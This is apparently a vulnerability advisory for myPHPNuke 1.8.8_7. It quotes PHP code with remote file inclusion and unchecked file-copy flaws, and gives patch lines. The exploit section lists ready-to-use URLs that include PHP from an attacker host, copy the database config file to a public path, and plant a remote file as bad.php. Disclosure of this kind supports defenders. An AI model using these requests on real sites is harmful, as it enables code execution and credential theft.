Informations : °°°°°°°°°°°°° Language : PHP Version : 1.8.8_7 Website : http://www.myphpnuke.com Problems : - Upload/Copy/Include Files
PHP Code/Location : °°°°°°°°°°°°°°°°°°°
gallery/displayCategory.php :
------------------------------------------ [...] <?php
include ("$basepath/imageFunctions.php"); include ("$adminpath/fileFunctions.php"); ------------------------------------------
mailattach.php :
----------------------------------------------------- [...] <? OpenTable(); global $attachmentdir;
$attchfile = $attachmentdir.$attach1_name;
if(isset($submit) ) { if ($attach1_name != "") { copy("$attach1", $attchfile) or die("Couldn't copy the file!"); echo "<script> attach();</script>"; } else { die("No input file specified"); } echo "<script> attach(); </script>"; } else {
?> [...] -----------------------------------------------------
Exploits :
°°°°°°°°
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker] will include the file :
http://[attacker]/imageFunctions.php
- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker] will include the file :
http://[attacker]/fileFunctions.php
- http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt will copy the file admin/original/config.php (with DB Informations) into http://[target]/DBInfos.txt .
- http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php will copy the file bad.txt into http://[target]/bad.php
- etc...
Solution : °°°°°°°°° A patch can be found on http://www.phpsecure.info. In gallery/displayCategory.php, add before all lines the lines : ------------------------------------------------------------------- if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){ die("Patched."); } -------------------------------------------------------------------
And in mailattach.php, add just after the lines : ------------------------- [...] <? OpenTable(); global $attachmentdir; [...] -------------------------
the lines :
-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) ){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------
More Details : °°°°°°°°°°°° In french : http://www.phpsecure.info/v2/tutos/myPHPNuke.txt
frog-m@n (http://www.phpsecure.info)
_________________________________________________________________